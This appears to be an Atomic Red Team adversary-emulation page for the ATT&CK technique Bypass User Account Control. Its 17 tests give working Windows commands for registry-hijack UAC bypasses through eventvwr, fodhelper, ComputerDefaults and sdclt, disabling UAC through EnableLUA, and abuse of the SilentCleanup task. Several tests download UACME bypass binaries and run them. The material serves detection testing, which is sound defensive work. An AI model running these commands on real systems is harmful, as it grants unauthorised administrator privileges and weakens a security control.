# T1548.002 - Bypass User Account Control
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1548/002)
<blockquote>Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Bypass UAC using Event Viewer (cmd)](#atomic-test-1---bypass-uac-using-event-viewer-cmd)

- [Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)](#atomic-test-2---bypass-uac-using-event-viewer-powershell)

- [Atomic Test #3 - Bypass UAC using Fodhelper](#atomic-test-3---bypass-uac-using-fodhelper)

- [Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell](#atomic-test-4---bypass-uac-using-fodhelper---powershell)

- [Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)](#atomic-test-5---bypass-uac-using-computerdefaults-powershell)

- [Atomic Test #6 - Bypass UAC by Mocking Trusted Directories](#atomic-test-6---bypass-uac-by-mocking-trusted-directories)

- [Atomic Test #7 - Bypass UAC using sdclt DelegateExecute](#atomic-test-7---bypass-uac-using-sdclt-delegateexecute)

- [Atomic Test #8 - Disable UAC using reg.exe](#atomic-test-8---disable-uac-using-regexe)

- [Atomic Test #9 - Bypass UAC using SilentCleanup task](#atomic-test-9---bypass-uac-using-silentcleanup-task)

- [Atomic Test #10 - UACME Bypass Method 23](#atomic-test-10---uacme-bypass-method-23)

- [Atomic Test #11 - UACME Bypass Method 31](#atomic-test-11---uacme-bypass-method-31)

- [Atomic Test #12 - UACME Bypass Method 33](#atomic-test-12---uacme-bypass-method-33)

- [Atomic Test #13 - UACME Bypass Method 34](#atomic-test-13---uacme-bypass-method-34)

- [Atomic Test #14 - UACME Bypass Method 39](#atomic-test-14---uacme-bypass-method-39)

- [Atomic Test #15 - UACME Bypass Method 56](#atomic-test-15---uacme-bypass-method-56)

- [Atomic Test #16 - UACME Bypass Method 59](#atomic-test-16---uacme-bypass-method-59)

- [Atomic Test #17 - UACME Bypass Method 61](#atomic-test-17---uacme-bypass-method-61)


<br/>

## Atomic Test #1 - Bypass UAC using Event Viewer (cmd)
Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privelages

**Supported Platforms:** Windows


**auto_generated_guid:** 5073adf8-9a50-4bd9-b298-a9bd2ead8af9





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_binary | Binary to execute with UAC Bypass | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc
```

#### Cleanup Commands:
```cmd
reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1
```





<br/>
<br/>

## Atomic Test #2 - Bypass UAC using Event Viewer (PowerShell)
PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
Upon execution command prompt should be launched with administrative privelages

**Supported Platforms:** Windows


**auto_generated_guid:** a6ce9acf-842a-4af6-8f79-539be7608e2b





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_binary | Binary to execute with UAC Bypass | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `powershell`! 


```powershell
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"
```

#### Cleanup Commands:
```powershell
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #3 - Bypass UAC using Fodhelper
Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.

**Supported Platforms:** Windows


**auto_generated_guid:** 58f641ea-12e3-499a-b684-44dee46bd182





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_binary | Binary to execute with UAC Bypass | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
fodhelper.exe
```

#### Cleanup Commands:
```cmd
reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1
```





<br/>
<br/>

## Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell
PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
Upon execution command prompt will be opened.

**Supported Platforms:** Windows


**auto_generated_guid:** 3f627297-6c38-4e7d-a278-fc2563eaaeaa





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_binary | Binary to execute with UAC Bypass | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `powershell`! 


```powershell
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
```

#### Cleanup Commands:
```powershell
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #5 - Bypass UAC using ComputerDefaults (PowerShell)
PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
Upon execution administrative command prompt should open

**Supported Platforms:** Windows


**auto_generated_guid:** 3c51abf2-44bf-42d8-9111-dc96ff66750f





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_binary | Binary to execute with UAC Bypass | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
```

#### Cleanup Commands:
```powershell
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #6 - Bypass UAC by Mocking Trusted Directories
Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch

**Supported Platforms:** Windows


**auto_generated_guid:** f7a35090-6f7f-4f64-bb47-d657bf5b10c1





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| executable_binary | Binary to execute with UAC Bypass | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
mkdir "\\?\C:\Windows \System32\"
copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
```

#### Cleanup Commands:
```cmd
rd "\\?\C:\Windows \" /S /Q >nul 2>nul
del "c:\testbypass.exe" >nul 2>nul
```





<br/>
<br/>

## Atomic Test #7 - Bypass UAC using sdclt DelegateExecute
Bypasses User Account Control using a fileless method, registry only.
Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)

**Supported Platforms:** Windows


**auto_generated_guid:** 3be891eb-4608-4173-87e8-78b494c029b7





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command.to.execute | Command to execute | String | cmd.exe /c notepad.exe|


#### Attack Commands: Run with `powershell`! 


```powershell
New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}'
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3
```

#### Cleanup Commands:
```powershell
Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #8 - Disable UAC using reg.exe
Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0

**Supported Platforms:** Windows


**auto_generated_guid:** 9e8af564-53ec-407e-aaa8-3cb20c3af7f9






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
```

#### Cleanup Commands:
```cmd
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f
```





<br/>
<br/>

## Atomic Test #9 - Bypass UAC using SilentCleanup task
Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

For example, we can set the windir registry kye to: "cmd /k REM "

And forcefully run SilentCleanup task:

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.

**Supported Platforms:** Windows


**auto_generated_guid:** 28104f8a-4ff1-4582-bcf6-699dce156608





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | Path to the bat file | String | PathToAtomicsFolder&#92;T1548.002&#92;src&#92;T1548.002.bat|


#### Attack Commands: Run with `command_prompt`! 


```cmd
#{file_path}
```






<br/>
<br/>

## Atomic Test #10 - UACME Bypass Method 23
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Leo Davidson derivative

Type:	Dll Hijack

Method: IFileOperation

Target:	\system32\pkgmgr.exe

Component: DismCore.dll

Implementation:	ucmDismMethod

UCM Method:	UacMethodDISM

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** 8ceab7a2-563a-47d2-b5ba-0995211128d7





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;23 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #11 - UACME Bypass Method 31
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\sdclt.exe

Component: Attacker defined

Implementation:	ucmSdcltIsolatedCommandMethod

UCM Method:	UacMethodShellSdclt

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** b0f76240-9f33-4d34-90e8-3a7d501beb15





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;31 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #12 - UACME Bypass Method 33
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: winscripting.blog

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\fodhelper.exe

Component:	Attacker defined

Implementation:	ucmShellRegModMethod

UCM Method:	UacMethodMsSettings2

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** e514bb03-f71c-4b22-9092-9f961ec6fb03





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;33 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #13 - UACME Bypass Method 34
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type:	Shell API

Method: Environment variables expansion

Target:	\system32\svchost.exe via \system32\schtasks.exe

Component:	Attacker defined

Implementation:	ucmDiskCleanupEnvironmentVariable

UCM Method:	UacMethodDiskSilentCleanup

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** 695b2dac-423e-448e-b6ef-5b88e93011d6





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;34 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #14 - UACME Bypass Method 39
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Stefan Kanthak

Type:	Dll Hijack

Method: .NET Code Profiler

Target:	\system32\mmc.exe

Component:	Attacker defined

Implementation:	ucmCorProfilerMethod

UCM Method:	UacMethodCorProfiler

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** 56163687-081f-47da-bb9c-7b231c5585cf





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;39 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #15 - UACME Bypass Method 56
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Hashim Jawad

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\WSReset.exe

Component:	Attacker defined

Implementation:	ucmShellRegModMethod

UCM Method:	UacMethodShellWSReset

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** 235ec031-cd2d-465d-a7ae-68bab281e80e





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;56 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #16 - UACME Bypass Method 59
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: James Forshaw

Type:	AppInfo ALPC

Method: RAiLaunchAdminProcess and DebugObject

Target:	Attacker defined

Component:	Attacker defined

Implementation:	ucmDebugObjectMethod

UCM Method:	UacMethodDebugObject

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** dfb1b667-4bb8-4a63-a85e-29936ea75f29





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;59 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
<br/>

## Atomic Test #17 - UACME Bypass Method 61
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.
Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.

Author: Enigma0x3/bytecode77 derivative by Nassim Asrir

Type:	Shell API

Method: Registry key manipulation

Target:	\system32\slui.exe, \system32\changepk.exe

Component:	Attacker defined

Implementation:	ucmShellRegModMethod

UCM Method:	UacMethodDebugObject

https://github.com/hfiref0x/UACME

**Supported Platforms:** Windows


**auto_generated_guid:** 7825b576-744c-4555-856d-caf3460dc236





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| uacme_exe | Path to uacme executable | Path | %temp%&#92;uacme&#92;61 Akagi64.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
"#{uacme_exe}"
```

#### Cleanup Commands:
```cmd
powershell Stop-Process -Name cmd -Force -ErrorAction Ignore
powershell Stop-Process -Name mmc -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})
##### Check Prereq Commands:
```powershell
$tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/justaseckev/atomic-red-team/raw/master/atomics/T1548.002/src/UACMe%20binaries.zip" -OutFile "$env:TEMP\uacme.zip"
Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force
Remove-Item $env:TEMP\uacme.zip -Force
```




<br/>
